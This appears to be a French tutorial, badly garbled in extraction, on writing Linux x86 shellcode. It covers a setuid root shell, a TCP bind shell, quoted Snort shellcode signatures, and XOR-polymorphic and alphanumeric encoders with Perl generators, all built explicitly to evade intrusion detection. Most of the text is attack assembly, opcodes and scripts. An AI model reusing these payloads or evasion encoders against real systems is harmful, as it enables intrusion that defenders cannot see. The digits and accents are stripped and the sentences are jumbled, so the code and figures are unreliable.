ebx. int setuiduidt uid xor eax. x xor ebx.text start . sysexecve push byte x xor esp. esp int x . eax mov al. int setgidgidt gid. eax mov al. eax mov al. int shellcode sc./test ltbx/home/deimos/stackoverflow/shellcode id uidroot gidroot Le second shellcode est un peu plus complexe. tant donn quil faut y manipuler des structures et un nombre plus importants de fonctions. Le numro du syscall tant toujours contenu par EAX. Il sagit dun bind shell.c test. int main int shellcode.c attention use of cast expressions as lvalues is deprecated deimosltbx/stackoverflow/shellcode su Password ltbx/home/deimos/stackoverflow/shellcode chown rootroot test ltbx/home/deimos/stackoverflow/shellcode chmod ugxs test ltbx/home/deimos/stackoverflow/shellcode exit exit deimosltbx/stackoverflow/shellcode id uiddeimos giddeimos deimosltbx/stackoverflow/shellcode . voici la liste des valeurs correspondantes aux diffrentes fonctions extrait de include/linux/net. cest le registre EBX qui permet de choisir la fonction dsire .h define SYSSOCKET define SYSBIND define SYSCONNECT define SYSLISTEN / syssocket / sysbind / sysconnect / syslisten / / / / .c char sc quotxxcxbxxxdbxcdxxxcxbxexxdbxcdxxxcxb xbxaxxxxxxaxxxxfxxxfxxxex xexxdxxxxexcdxxxcxbxxxdbxcdxquot.c Dans la fonction main test. shellcode. deimosltbx/stackoverflow/shellcode gcc o test test. Toutes les fonctions sur les socket telles que socket. bind.deimosltbx/stackoverflow/shellcode cat gttest. sont appeles par lintermdiaire du syscall syssocketcall. cestdire un shell li une socket connexion. Comme dans le code assembleur prcdent. On peut ainsi se lancer sans problme dans la programmation de notre shellcode condition de connatre un peu les sockets UNIX. A vous de le rendre le plus court possible.h struct sockaddrin short sinfamily. struct inaddr sinaddr. char sinzero.define SYSACCEPT define SYSGETSOCKNAME define SYSGETPEERNAME define SYSSOCKETPAIR define SYSSEND define SYSRECV define SYSSENDTO define SYSRECVFROM define SYSSHUTDOWN define SYSSETSOCKOPT define SYSGETSOCKOPT define SYSSENDMSG define SYSRECVMSG / sysaccept / / sysgetsockname / / sysgetpeername / / syssocketpair / / syssend / / sysrecv / / syssendto / / sysrecvfrom / / sysshutdown / / syssetsockopt / / sysgetsockopt / / syssendmsg / / sysrecvmsg / Les structures suivantes pourraient galement nous tre utiles extrait de include/netinet/in. . struct inaddr unsigned long saddr. ushort sinport. . sachant que le plus petit bind shell tient en un peu moins de octets . jai prfr crer un shellcode comprhensible la premire lecture plutt quun shellcode extrmement optimis et dont la lisibilit est bien plus difficile pour un dbutant. protocol TCP mov dl. socket xor edx. x . domain AFINET mov ecx. adresse des arguments int x .text start . myaddr xor ecx. eax mov al.. edx mov dl. x . eax mov al. x push edx . x push edx . struct sockaddr myaddr. type SOCKSTREAM mov dl. esp . socklent addrlen .deimosltbx/stackoverflow/bindshell cat gtbindshell. int protocol . syssocketcall xor ebx. x . x . ebx mov bl. x push dx . edx push edx push edx .. push word x . adresse IP . bind xor edx. ebx inc bl . xor eax. int bindint sockfd. port mov dl. eax . ecx mov cl. padding push edx . x push edx . PFINET mov edx. mov edi. sauvegarde du descripteur de socket serveur xor eax. esp .asm BITS global start segment . int socketint domain. int type. syssocketcall xor ebx. addrlen x . int backlog . ebx mov bl. eax . xf . xor eax. struct sockaddr addr. eax mov al. sauvegarde du descripteur de socket client xor eax. int acceptint s. edx inc edx push edx . esp int x . x . sockfd descripteur de socket serveur . esp . mov ebx. listen xor edx. s descripteur de socket mov ecx. socklent addrlen . addr NULL push edi . syssocketcall xor ebx. ecx int x . . x . eax mov al. adresse des arguments serveur int x . int newfd. syssocketcall xor ebx. xor eax. adresse des arguments . ebx mov bl. backlog push edi . sysdup xor ecx. esp . edx push edx .push ecx push edx push edi mov ecx. s descripteur de socket serveur mov ecx. int listenint s. adresse des arguments int x . x . addrlen NULL push edx . accept xor edx. myaddr . int dupint oldfd. eax mov al. x . eax mov al. sysdup inc ecx int x . edx push edx push ebx mov ecx. int dupint oldfd. xf . int dupint oldfd. eax mov al. int newfd . esp int x . eax mov al. xf . int newfd . xb . int execve const char fichier. xor eax. char constenvp . char constargv . byte x push byte x push xf push xef mov ebx. sysdup inc ecx int x . esp xor edx.. xor eax. xor eax. sysexecve push byte x xor esp. . les paquets qui contiennent le payload peuvent tre intercept et examin par un NIDS Network Based Intrusion Detection System tel que Snort sous les systmes GNU/Linux./ donne le message dalerte et journalise les flux externes provenant de tout port et destination du port alert tcp any any gt . Lors des exploitations de buffer overflow distance../ msg Exploit SSH NOPs detected. afin de dtecter des flux rseaux malveillants.. Les rgles de filtrage de Snort sont gnralement de la forme action protocole ipsource portsource gt ipdest portdestoptions de rgle Exemples journalise tous les flux externes provenant dun port source suprieur et destination du port sur la plage . do lappellation shellcode polymorphique. . log tcp any gt . Snort dispose dun ensemble de signatures dans le dossier /etc/snortrules/. Voyons prsent les avantages et inconvnients du polymorphisme.... contentquot quot... .. Ces systmes de dtection dintrusion disposent dune base de donnes de signatures. Techniques avances de programmation de shellcode Dans cette partie nous allons aborder des shellcodes dune forme plutt particulire qui se modifient euxmmes. similaire celle dun antivirus. rev. sid. on constate que Snort la base de donnes de signatures sur les shellcodes de Snort nest pas trs exhaustive. comme /bin/sh La rptition en fin de chane de ladresse de retour. classtypesystemcalldetect.established. classtypeshellcodedetect. depth. contentquotB B CD quot. de la forme xbfffxxxx Si lon jette un il aux fichiers /etc/snort/rules/shellcode. La rponse ce souci se trouve dans le polymorphisme des shellcodes. referencebugtraq. rev. Les shellcodes peuvent tre dtects de nombreuses manires.. referencearachnids. . qui va nous permettre de bypasser ces rgles assez facilement. classtypeshellcodedetect. de messageries instantanes et de backdoors mais galement afin de donner lalerte en cas de flux entrants suspects.. sid. contentquot E C FF FF FF/bin/shquot. en effet on en trouve pour dtecter les flux sortants de Peer to Peer. classtypeshellcodedetect. sid. referencearachnids.. referencearachnids. classtypesystemcalldetect. rev. alert ip EXTERNALNET SHELLCODEPORTS gt HOMENET any msgquotSHELLCODE x setgid quot. sid. rev. alert ip EXTERNALNET SHELLCODEPORTS gt HOMENET any msgquotSHELLCODE Linux shellcodequot. referencecve. contentquot/bin/shquot. sid.rules. referencecve..rules et /etc/snort/rules/exploit. alert ip EXTERNALNET SHELLCODEPORTS gt HOMENET any msgquotSHELLCODE x setuid quot. tant donn leur structure commune Une suite de plusieurs dizaines voire centaines doctets NOPs La prsence de syscall et donc de linterruption x linstruction int x correspond aux opcodes xCD La prsence dune chane de caractres suspecte pouvant tre utilise avec execve par exemple. alert tcp EXTERNALNET any gt HOMENET msgquotEXPLOIT ssh CRC overflow /bin/shquot. referencearachnids. contentquotB CD quot. contentquot quot. alert ip EXTERNALNET SHELLCODEPORTS gt HOMENET any msgquotSHELLCODE x NOOPquot. comme par exemple une suite doctets x NOP qui est souvent synonyme de shellcode.Les rgles de Snort couvrent de trs nombreux domaines . flowtoserver. rev.. Toutefois certaines peuvent tre gnantes si lon veut rester stealth ... puisquils constituent souvent une signature du payload. ceci tant d lencodage des octets. . De ce fait il sera possible doptimiser parfois un peu plus le code assembleur. d au rajout de la routine de dcryptage. un peu de thorie afin de dfinir clairement la structure de notre shellcode polymorphique. Le schma suivant prsente la composition de notre payload . mais ce gain de bytes sera perdu car le plus gros inconvnient du polymorphisme est le gain de taille en octets. La premire partie de ce chapitre sera consacre aux shellcodes polymorphiques de base. la dernire partie traitera du camouflage des NOPs. puis nous verrons un second type de polymorphisme plus avanc qui nous permettra dobtenir un shellcode entirement alphanumrique. comme on le voit dans le fichier de rgles de Snort..Ce polymorphisme permet galement au shellcode initial de contenir des octets NULL . Shellcode polymorphique Avant de se lancer dans la programmation assembleur. Enfin. cestdire sans aucun caractre autre que AZaz. xxcxbxxxdbxcdxxxcxbxexxdbxcdxxxcx bxbxaxxxxxxaxxxxfxxxfxxxe xxexxdxxxxexcdxxxcxbxxxdbxcdx Cest pourquoi nous adoptons un cryptage avec cl glissante . Le but nest pas dobtenir un cryptage puissant.Les tapes pour coder un tel shellcode sont donc les suivantes Coder le shellcode de base Le crypter par XOR avec une cl de bits incrmente chaque itration. et plus la taille du shellcode augmente. mais uniquement de cacher les suites dinstructions susceptibles dtre dtectes par les NIDS. plus le choix de cl dencodage sera restreint voire nul. nous obtiendrons un octet NULL. tant donn que le OU exclusif XOR est symtrique xb xa x xab xb xc xdc xc xb . si nous devons encoder les opcodes suivants avec la cl xa. Il est obligatoire dutiliser une cl incrmente ou dcrmente au codage de chaque octet car dans le cas contraire. Pour les premiers octets du shellcode cidessus qui nous rend un shell root. cestdire modifie chaque itration. Par exemple. en vrifiant quaucun octet ne soit NULL dans le shellcode encod Coder la routine de dcryptage. lencodage donnerait comme rsultat x xa xb xc xb xab xb xc xdc La routine de dcryptage effectue exactement la mme opration algbrique. on risquerait dans le cas de shellcode de taille moyenne ou grande dobtenir des octets NULL. on peut galement utiliser une simple soustraction avec linstruction SUB ou addition ADD. qui prcdera videmment le shellcode crypt Dautres algorithmes basiques de cryptage sont possibles hormis le chiffrage par XOR voir en Annexes pour les proprits mathmatiques du XOR . elle peut tenir en environ octets. boucle de dcryptage mov regacc. . on passe loctet suivant inc regkey . registre contenant la cl de dcyptage . regacc inc regoffset .Voici donc la carcasse de notre shellcode polymorphique en langage assembleur BITS segment . routine de dcryptage .. remise zero des registres . shellcode crypt En optimisant au maximum la routine de dcryptage. xxx mov reglength. regoffset xor regacc.text global start start jmp short data decrypt pop regoffset mov regkey. incrmentation de la cl dec reglength jnz boucle jmp short shellcode data call decrypt shellcode db x. passer son shellcode par un cryptage XOR ne cote pas grand chose les quelques lignes suivantes de Perl peuvent venir votre secours . registre contenant la longueur du shellcode boucle . regkey mov regoffset. De plus. xea . x. xb. x d.deimosltbx cat gtscxor. xd. x.asm x xe xd xc xe x xb xe x . deimosltbx perl scxor. x. x. x. xdc. print quotSize xquot.unpackquotHquot. x . quotltARGVquot. x. xda. x. x. quot. close FILE. xc.quotnquot. xe. x. x.quot. xde. x. key intrand . packquotCquot. ifARGV lt print quotUsage perl scxor. x. ltFILEgt. x. xdf. xc. xc. open FILE. key. xdb. xef. xf. xd. xd. x. xa. x. x. xa. foreach opcode content opcode opcode packquotCquot. xfe.pl shellcode Key xe xd. xc. xc. x. x. use vars qwcontent opcode key. x. xb. Vrifions rapidement que notre script Perl effectue le bon algorithme avec les premiers octets du shellcode shellroot.unpackquotHquot. xa . print quotxquot. opcode.pl /usr/bin/perl use strict.pl filenquot. xf. xf.unpackquotHquot. x. xab. xaf. x. exit.quotnquot. content. xc. packquotCquot. content split . key. print quotKey xquot. xdf. xc. x. x. Voici le code assembleur de notre nouveau shellcode BITS segment .text global start start jmp short donnees decrypt pop esi mov edi, esi xor edx, edx push edx pop ebx mov dl, x mov bl, xe boucle lodsb xor eax, ebx stosb inc ebx dec edx jnz boucle jmp short shellcode recuperation de loffset du shellcode crypt edx x ebx x dl taille de notre shellcode bl cl XOR chargement de loctet crypt dcryptage remplacement par loctet dcrypt incrmentation de la cl donnees call decrypt shellcode db xd, x, x, xfe, xdb, x, x, xd, xdf, xf, x, xdf, xc, x, x, x, xc, x, x, xf, x, xab, xc, xc, xda, xaf, xa, x, x, xb, xb, x, xe, x, xa, x, x, x, xef, xc, xdc, xd, x, x, xf, xde, x, x, xd, xa, x, x, xc, xd, xc Avec ce modle de shellcode polymorphique, on peut sans problme coder des shellcodes de plus de octets en effet, une fois que la cl arrive la valeur xff puis x, elle ne tient plus sur un seul octet, mais cela ne pose pas de soucis tant donn que lon utilise stosb, qui est un quivalent des instructions mov edi, al inc edi si le Direction Flag est . Il faut donc sassurer quil na pas la valeur car cela engendrerait une dcrmentation du registre EDI plutt quune dcrmentation de mme avec ESI lors de linstruction lodsb. Pour cela on placera linstruction cld Clear Direction Flag avant la boucle de dcryptage. .. Shellcode alphanumrique Une forme plus avance du polymorphisme de base vu prcdemment permet de composer un shellcode entirement en lettres et chiffres, cestdire AZaz. Ainsi le shellcode crypt devra tre alphanumrique, mais la routine de dcryptage galement. Cette technique est toutefois bien plus complexe, ceci tant d au fait que nous avons un jeu dinstructions assembleur trs limit. De plus, la taille du shellcode entier sera considrablement plus grande par rapport au shellcode initial, car une boucle de dcryptage est impossible pour de trs nombreuses raisons. .. Instructions disponibles INC ecx dx bx sp bp si di Lincrmentation est possible sur la quasitotalit des registres et bits. En effet, les instructions INC eax et INC ax nentrent pas dans notre charset jeu de caractres. Les instructions inc ecx dx bx sp bp si di sont codes sur un octet, et leurs opcodes sont situs sur la plage x, cestdire AG. En ce qui concerne lincrmentation des registres bits, elle est code sur deux octets loctet x caractre f ainsi que lopcode correspondant lincrmentation du registre de bits. inc ecx inc cx x x A fA Lincrmentation des registres de bits ah/al, bh/bl, ch/cl, dh/dl est quant elle impossible, tant donn quelle dbute par loctet xfe, qui correspond un caractre spcial de la table ASCII tendue. Il est galement impossible deffectuer des instructions du type inc m inc m inc m comme par exemple inc byte eax. DEC r r La dcrmentation est possible sur tous les registres bits et bits, tant donn que la plage dopcodes est xf HO pour les registres bits et xf fHO pour les registres bits. Cette instruction ne permet pas non plus deffectuer des oprations sur les registres bits ou sur des octets en mmoire. PUSH r r imm imm imm On peut se servir de linstruction push sur tous les registres et bits, ainsi que pour empiler des valeurs sur la pile sans passer par un registre. Lempilage dun registre bits est cod sur un octet, celui dun registre bits sur deux octets x opcode de push r. En ce qui concerne lempilage dun octet, lopcode est de la forme xaxx, pour empiler un dword xxxxxxxxx et pour empiler un word xxxxx. Il nest cependant pas possible dempiler des octets de la mmoire. push ecx push cx push byte a push word aa push dword aaaa x x xa x x Q fQ ja fhaa haaaa POP eax cx dx Linstruction pop quant elle ne peut uniquement tre utilise sur quelques registres gnraux bits et par consquent sur leurs quivalents bits. EBX. des valeurs ou des pointeurs mmoire. Linstruction POPAD est code sur un seul octet. En effet. POPAD Cette instruction permet de dpiler tous les registres bits dans lordre suivant EDI. XOR r/m. il faut tre trs rigoureux sur ce que lon pourra effectuer comme instruction ou pas. ne sont disponibles. soit les caractres et . EDX. SUB. puis suit un octet cod en fonction des deux oprandes de linstruction et ventuellement un autre octet si on rajoute une valeur au registre pointeur. ebx xor edx. imm XOR eax. r/m XOR r. r/m XOR al. ECX et EAX. ebx xor edx. Cidessus sont reprsentes les instructions dont lopcode est situ dans notre charset . x caractre a. comme avec le prcdemment. imm Linstruction XOR va tre la pice matresse de notre shellcode alphanumrique. Son quivalent PUSHAD nest pas disponible. xor edxx. nous allons encoder notre shellcode initial avec un cryptage XOR . ESP. r XOR r/m. ebx xA xA xDA Le premier opcode est donc effectivement celui de linstruction. Comme linstruction XOR possde deux oprandes et que ces dernires peuvent tout aussi bien tre des registres. Lexemple cidessous nous permettra de mieux comprendre les phrases prcdentes. Toutefois toutes les instructions ne sont pas disponibles car lopcode des oprandes doit galement tre alphanumrique. ces opcodes sont situs entre x et x. EBP. Aucun oprande nest donc ncessaire. ESI. . En effet. toutefois nous navons ici aucune autre possibilit de mthode de cryptage tant donn quaucune autre instruction mathmatique comme ADD. r XOR r. ayant pour opcode x. afin de connatre prcisment quelles sont les instructions que lon peut effectuer avec lopration XOR. ebx . cestdire celle tant un registre Champ mod bits il dtermine le mode dadressage du champ r/m adressage indirect . ce qui correspond bien un adressage indirect sans base. et donc savoir quelles oprandes sont disponibles avec notre instruction XOR ou toute autre instruction utilisant loctet ModR/M. cestdire celle tant un pointeur ou un registre lorsque lon effectue des instructions sur deux registres comme XOR eax. ici EAX Champ r bits il dtermine loprande r. xA lorsque lon a edx.Cet octet. exemple eax adressage indirect avec base dun octet sign signed byte. cestdire de x xf . exemple eaxx adressage indirect avec base dun doublemot sign signed double word . Il a t modifi pour cet article afin de marquer les valeurs pour lequel loctet ModR/M reprsente un caractre alphanumrique. ebx en oprandes et xDA lorsque lon a edx. Toutefois Intel nous fourni ce tableau dans le manuel Intel Architecture Software Developers Manual Volume Instruction Set Reference voir page suivante. exemple eax En effet xA b. On en dduit donc que EDX a pour code b et EBX b. est appel octet ModR/M. On peut ainsi dresser un tableau contenant les valeurs possibles de loctet ModR/M. Il est divis en trois champs Champ r/m bits il dtermine loprande r/m. ebx comme dans lexemple prcdent. le champ r/m correspond au registre de destination. . exemple eaxx registre . . Lalgorithme dencodage Comme dit prcdemment.. mais galement les octets du shellcode encod. Toutefois. il est possible deffectuer un NOT sur loctet avant de le dcrypter par XOR x xCF xCF x xFF Do x x xFF . il est impratif que la cl XOR soit situe dans notre jeu de caractres alphanumriques.. en faisant quelques tests sur la porte des valeurs que lon peut obtenir en effectuant un OU exclusif sur deux nombres de notre intervalle Entier dcoder x x b x x x // valeur minimale pouvant tre obtenue x xF xF // valeur maximale pouvant tre obtenue Entier dcoder x x b x xE xF // valeur maximale pouvant tre obtenue On remarque que nous narriverons pas dcoder tous les octets de notre shellcode si ceuxci ont des valeurs suprieures xF. lencodage se basera entirement sur du XOR. Toutefois.. Cela vient du fait que le bit le plus fort positionn est le me dans le code de toutes les valeurs alphanumriques x xb x xb xA xb Afin dobtenir des valeurs jusqu xFF. Bien que par la suite nous gnrerons le shellcode alphanumrique avec un script.Toutefois linstruction assembleur NOT ne peut pas tre utilise car son opcode nest pas cod en une valeur alphanumrique. Par exemple. le premier avec xFF et le second avec la cl Le tableau suivant reprsente quel encodage doit tre appliqu sur chaque octet afin doptimiser au maximum notre code assembleur. . il faudra encoder les opcodes en fonction de leur valeur Les opcodes dont la valeur est situe dans notre intervalle alphanumrique ne seront pas encods Les opcodes correspondant aux valeurs opposes celles de notre intervalle par exemple xCF x seront encoder avec un simple XOR de xFF Certains opcodes seront encods par XOR avec une cl alphanumrique Les opcodes restant devront tre crypts par deux XOR. donc les instructions assembleur de notre routine de dcryptage effectueront lopration x xFF x. Toutefois il ne sera pas ncessaire dencoder toutes les valeurs de notre shellcode initial. nous pouvons le coder en x par lopration xFA x x. cette table nous aidera lors de la construction manuelle de la routine de dcryptage. Or x a pour quivalent x xFF. Revoyons les proprits algbriques de lopration XOR Donc a a Nous pouvons donc simuler notre instruction NOT par une instruction XOR. Lopration de dcodage sera alors x x. qui nous rendra notre opcode en clair xFA. si un opcode pour valeur xFA. afin dallger notre routine de dcodage. En effet. . . Effectivement. eax mov ecx. de quelle manire effectueronsnous le NOT XOR avec xFF alors que la valeur xFF ne se situe pas dans notre jeu de caractres Nous pouvons palier tous ces problmes en substituant MOV. eax Notre premier MOV peut tre substitu par une combinaison de PUSH / POP mov eax. au dbut de notre shellcode.. x push x pop eax Toutefois. x mov ebx.. Tout dabord. et ceci va nous poser de nombreux ennuis. nous ne pouvons pas adopter cette mthode pour dplacer la valeur nulle de EAX aux autres registres. imm disponible est celle utilisant EAX en registre de destination Nous devons donc mettre une valeur dans EAX. il nous faut mettre zro les registres que nous allons utiliser. Substitution dinstructions A prsent que nous connaissons toutes les instructions possibles dans notre routine de dcryptage. Rappelonsnous que lunique instruction XOR r. il faut se souvenir que bien que linstruction PUSH . x xor eax. comment raliser cette opration sans MOV Comment effectuer lopration inverse afin de remplacer notre octet dcod Ou encore. effectuer un OU exclusif dessus puis dplacer cette valeur dans les autres registres. Ce qui se traduit par mov eax. Pour dcrypter notre shellcode. NOT. il nous faut pouvoir charger dans un registre un ou plusieurs octets de la mmoire. par dautres instructions qui produiront une action quivalente. bien que rallongeant notre shellcode et donc utiliser avec modration . il nous faut songer certains points essentiels en effet linstruction MOV nest pas disponible. edi push x pop eax xor eax. soit EAX. Pour cela. EDX. ECX. Linstruction POPAD rsout justement ce problme elle sutilise en gnral avec PUSHAD. EDX. mais ce nest pas le cas pour linstruction POP qui ne peut permet de dpiler seulement dans EAX. on substitue ebx par eax push ebp push esi push edi popad A prsent que nous pouvons simuler nimporte quel MOV reg. Si lon se rfre au tableau traitant de loctet ModR/M page . esi . ESI. x push eax pop edx xor dh. mov ebx. DI et EDI en registre r avec soit EAX. eax null . on constate que lon peut utiliser DH. soit ECX en registre r/m Afin dobtenir par exemple un octet situ ladresse mmoire contenue dans EDI. ESP. reg. il serait galement intressant de savoir comment charger une suite doctets de la mmoire dans un registre. EBP. SI et ESI en registre r avec nimporte quel registre gnral et dindex. on peut donc crire le code assembleur suivant mov dh. Rappel POPAD dpile dans lordre EDI. ESI et EDI r/m BH. nous utilisons linstruction XOR avec un registre de destination ayant une valeur nulle. toutefois nous allons effectuer une srie de PUSH reg puis POPAD afin de remplacer les instructions MOV. EBX.peut tre utilise avec nimporte quel registre bits donc EAX. EBX. edx null . ECX et EAX. ECX ou EDX. eax push eax push ecx push edx push eax . il suffit dinverser les oprandes du XOR prcdent. revoyons pourquoi une structure telle que nous avions pour notre shellcode polymorphique nonalphanumrique est totalement impossible start jmp short data decrypt pop regoffset mov regkey. remise zero des registres . Il faudra donc transfrer ESP dans un registre gnral ou dindex et dcrmenter celuici avec de suivre la valeur du Stack Pointer. toutefois cette mme instruction nous permet de dcrypter les opcodes de notre shellcode. Il faut donc lors de linitialisation des registres effectuer une dcrmentation dun registre avec valeur nulle pour transfrer la valeur xFFFFFFFF plusieurs registres ceux dont nous allons nous servir pour le NOT. tant donn que le shellcode crypt se situe sur la pile. Cette opration ne nous intresse pas . Mais laissons ce problme de ct afin de ltudier plus en dtails dans la section suivante. La valeur xFF sobtient partir dune valeur nulle en effectuant une dcrmentation. registre contenant la cl de dcyptage . Nous avons vu prcdemment quelle tait quivalente un XOR avec xFF. Cependant ESP ne peut tre pris comme registre de destination ce qui nous aurait fortement arrangs. La dernire difficult avant dobtenir uniquement des instructions alphanumriques est de substituer lopration NOT.. en sassurant que les octets cette adresse sont ont la valeur x.. registre contenant la longueur du shellcode . xxx mov reglength. cestdire charger une valeur un emplacement prcis de la mmoire. xea . Or. routine de dcryptage .Pour raliser lopration inverse. . Structure du shellcode Tout dabord. linstruction DEC est disponible. puisquils sont justement en mmoire dans ce cas les octets en mmoire nont videmment pas une valeur nulle. Do limpossibilit dadopter un algorithme itratif. nest pas linaire . en effet nous nappliquons pas comme ici une simple fonction XOR avec incrmentation de cl. Puis. regoffset xor regacc. regacc inc regoffset . Notre shellcode se dcomposera donc en plusieurs parties Initialisation des registres Routine de dcryptage Padding bourrage .boucle . JNO offset. impossible deffectuer ce saut. linstruction MOV nest pas disponible ainsi que le XOR de registre registre . on passe loctet suivant inc regkey . Ce qui rend cette structure de dcryptage inutilisable est le fait que notre dcodage. regkey mov regoffset.. cependant ces actions sont encore une fois substituables par dautres ce que nous avons vues prcdemment. mais une mthode de dcryptage diffrent pour chaque octet du shellcode. mais surtout car on ne pourrait pas spcifier nimporte quel offset Si la routine de dcryptage excde les octets. dans le cas dun shellcode alphanumrique. boucle de dcryptage mov regacc. tout dabord lopcode de linstruction JMP nest pas dans notre jeu de caractres toutefois certains sauts conditionnels y sont ils nont pas t mentionn prcdemment car nous ne nous en servons pas on pourrait donc simuler un saut inconditionnel avec deux sauts conditionnels opposs avec par exemple les instructions JO offset . . comme nous lavons spcifi prcdemment. shellcode crypt Le premier JMP pourrait ne pas tre valide dans certains cas . incrmentation de la cl dec reglength jnz boucle jmp short shellcode data call decrypt shellcode db x. eax FFFFFFFF push esp pop ecx . nous choisirons BH. Celuici devra tre compatible avec linstruction POP soit EAX. x . ecx esp push eax push ecx push edx push eax . En effet cest le registre le plus adapt tant donn que lon peut effectuer un XOR sur ecx avec les registres BH. esi FFFFFFFF push edi popad dec ecx . DH. nous opterons pour ESI. nous prendrons ECX. Nous utiliserons donc EDX. EDI.Initialisation des registres Afin de dcrypter notre shellcode. bh FF push esp push ebp push eax . ECX ou EDX ainsi quavec XOR en bits BH ou DH. ESI. Un registre accessible en // bits qui contiendra la cl de dcryptage XOR. eax dec eax . Il faut galement dcrmenter de octets ESP afin de . Un registre initialis xFFFFFFFF pour raliser le NOT sur ou octets .Notre initialisation de registres correspondra donc la portion de code suivant dec esp dec esp dec esp dec esp push dword x pop eax xor eax. nous aurons besoin de plusieurs registres Un registre gnral suivant le registre ESP avec DEC car ESP ne peut tre utilise en tant que registre mmoire avec notre charset . Un registre bits initialis xFF afin deffectuer lopration NOT sur un octet . car on lcraserait par la suite lorsquon effectuerait le push word valeur . ne pas raliser une opration telle que xor ecx. dh si loctet a t encod par XOR dec ecx pour faire pointer ECX sur loctet suivant push dword valeur tous les octets afin dempiler les octets prochaines du shellcode traiter. bh si loctet a t encod par NOT ou pas NOT et XOR push word clexor .bh Mais plutt traiter les octets dun coup . reg. bh dec ecx xor ecx. pop dx si la cl XOR est identique sur plusieurs octets Si plus dun octet doit tre crypt par NOT. Effectivement. pop dx . pop dx pour faire le XOR Un traitement suivant la mthode cidessus marcherait parfaitement. en effet il faut se rappeler que nous avons initialis ESI xFFFFFFFF et quil peut tre utilis sans problme comme oprande avec un xor ecx. dec ecx dec ecx dec ecx xor ecx. toutefois on se rend compte quil est possible doptimiser quelques points Ne pas effectuer push word clexor . on ne peut pas pusher tout le shellcode crypt avant la routine de dcryptage.Routine de dcryptage Le dcryptage du shellcode se fera de manire linaire selon un algorithme trs basique xor ecx. esi . bh dec ecx xor ecx. xor ecx. bh dec ecx xor ecx. edi est encore disponible. les octets de la pile cet endroit garderont des valeurs qui ne correspondent pas des instructions assembleur valides. EDI devra contenir la cl XOR qui nest pas la mme du moins rarement pendant la routine de dcryptage.On pourrait galement penser comme optimisation effectuer un XOR sur plusieurs octets la suite lorsque cest ncessaire linstruction xor ecx. contrairement ESI qui aura une valeur statique . soit octets. On remarque que lorsque lon effectue de nombreux push la suite. Toutefois. De plus il est impossible de raliser un pop edi . non. il sera ncessaire de nettoyer lespace de la pile entre le shellcode dcrypt et la routine de dcryptage. il faudrait donc pour placer la valeur de la cl XOR dans EDI cette suite dinstructions push eax push ecx push edx push ebx push esp push ebp push esi push clexor popad Seraitce une optimisation Dans la grande majorit des cas. comme dans linitialisation des registres push de dword de suite. . Bourrage Dans certains cas o le shellcode final en clair est dune taille assez petite. comme par exemple x inc edi .Ainsi. A la suite de notre routine de dcryptage. il faut aussi nettoyer la pile avec une instruction push word x. . si lon a empil un word sur la pile comme dans le cas dun push word clexor . nous devrons faire suivre un code assembleur du type push dword x push dword x Il faut galement noter qu la fin du dcrypteur de shellcode. xor ecx. Mise en application La cration dun shellcode alphanumrique manuellement est rapidement trs fastidieuse et les risques de se tromper augmentent considrablement avec la longueur du shellcode initial.. dans le cas de shellcode de taille de moins de octets. Je propse le script Perl suivant pour cette tche. dh. .. Il est dans ce cas quasiobligatoire de coder une application ralisant lalgorithme notre place. il faut initialiser ces octets une valeur correspondant une instruction. pop dx . asm quot. a. Ouverture du fichier de sortie open my alphanumshellcode.z. quotalphanum. flagend . xD .. my opcodes split . my result qw . use warnings. quotltquot. Boucle remplissant un hash par byte du shellcode de la forme hash quotmethodquot. quotkeyquot. opcode . Rcupration du shellcode open my shellcode. xE D E for opcode opcodes my flagresult .. quotshellcodequot or die quotCant open shellcode quot. my opcode reverse ltshellcodegt./usr/bin/perl use strict.Z . Tableau contenant les valeurs autorises des opcodes my alphanum . x . A. quotresultquot exemple quotnotxorquot. while flagresult if key alphanum key . close shellcode or die quotCant close shellcode quot. my flagend .. quotgtquot. my key . quotopcodequot.asmquot or die quotCant open alphanum. .. quotopcodequot gt opcode. quotopcodequot gt opcode. quotmethodquot gt quotnotxorquot. quotresultquot gt opcode . for my alphanum alphanum if opcode eq alphanum flagresult . quotkeyquot gt quotquot. pushresult. my not opcode. . quotmethodquot gt quotxorquot.my keyascii alphanumkey. elsif xor eq alphanum flagresult . pushresult. quotresultquot gt not . my notxor opcode keyascii. quotresultquot gt xor . quotopcodequot gt opcode. my xor opcode keyascii. quotkeyquot gt quotquot. elsif notxor eq alphanum ampamp flagend flagresult . pushresult. quotkeyquot gt keyascii. quotopcodequot gt opcode. quotmethodquot gt quotquot. elsif not eq alphanum flagresult . pushresult. quotmethodquot gt quotnotquot. my bytesnot undef. BITS global start segment . . my bytesnotflag undef. Entte statique du shellcode print alphanumshellcode ltltEND. last if flagresult.text start dec esp dec esp dec esp dec esp push dword x pop eax xor eax. x dec eax push esp pop ecx push eax push ecx push edx push eax push esp push ebp push eax push edi popad END Valeur courante de EDX my edx q.quotkeyquot gt keyascii. quotresultquot gt notxor . Traitement des octets grce au hash result for my index .resultindex gtquotresultquot. else print alphanumshellcode quotpush word xquot. resultindexgtquotresultquot. A chaque fois que octets sont traits. index lt result.unpackquotHquot.unpackquotHquot. elsif indexltresult print alphanumshellcode quotpush word xquot.resultindex gtquotresultquot. Traitement par NOT octets maximum On compte les octets sur lesquels il faut faire un NOT if defined bytesnotflag if resultindexgtquotmethodquot eq quotnotquot resultindexgtquotmethodquot eq quotnotxorquot bytesnot .unpackquotHquot. . on push les suivants ou la fin du shellcode if index if indexltresult print alphanumshellcode quotpush dword xquot.resultindex gtquotresultquot.resultindex gtquotresultquot.resultindex gtquotresultquot. resultindexgtquotresultquot. resultindexgtquotresultquot. index print alphanumshellcode quotdec ecxnquot. while resultindex bytesnotgtquotmethodquot eq quotnotquot resultindex bytesnotgtquotmethodquot eq quotnotxorquot ampamp bytesnot lt ampamp index bytesnot lt result bytesnot. resultindexgtquotresultquot.quotnquot. elsif indexltresult print alphanumshellcode quotpush dword xquot.quotnquot.quotnquot.quotnquot.unpackquotHquot. bytesnotflag bytesnot.resultindex gtquotresultquot. if defined bytesnotflag bytesnotflag. close alphanumshellcode or die quotCant close alphanum. bhnquot. dhnquot. index lt . print alphanumshellcode quotxor ecx. resultindexgtquotkeyquotx. elsif bytesnotflag print alphanumshellcode quotxor ecx. print alphanumshellcode quotpush word xquot. Bourrage print alphanumshellcode quotpush word xnquot. if bytesnotflag ampamp bytesnot print alphanumshellcode quotxor ecx. undef bytesnotflag. .edx.quotnpop dxnquot. print alphanumshellcode quotxor ecx. if edx ne currentkey edx currentkey. esinquot ifbytesnot .asm quot. for my index opcodes. index print alphanumshellcode quotpush dword xnquot. sinquot ifbytesnot 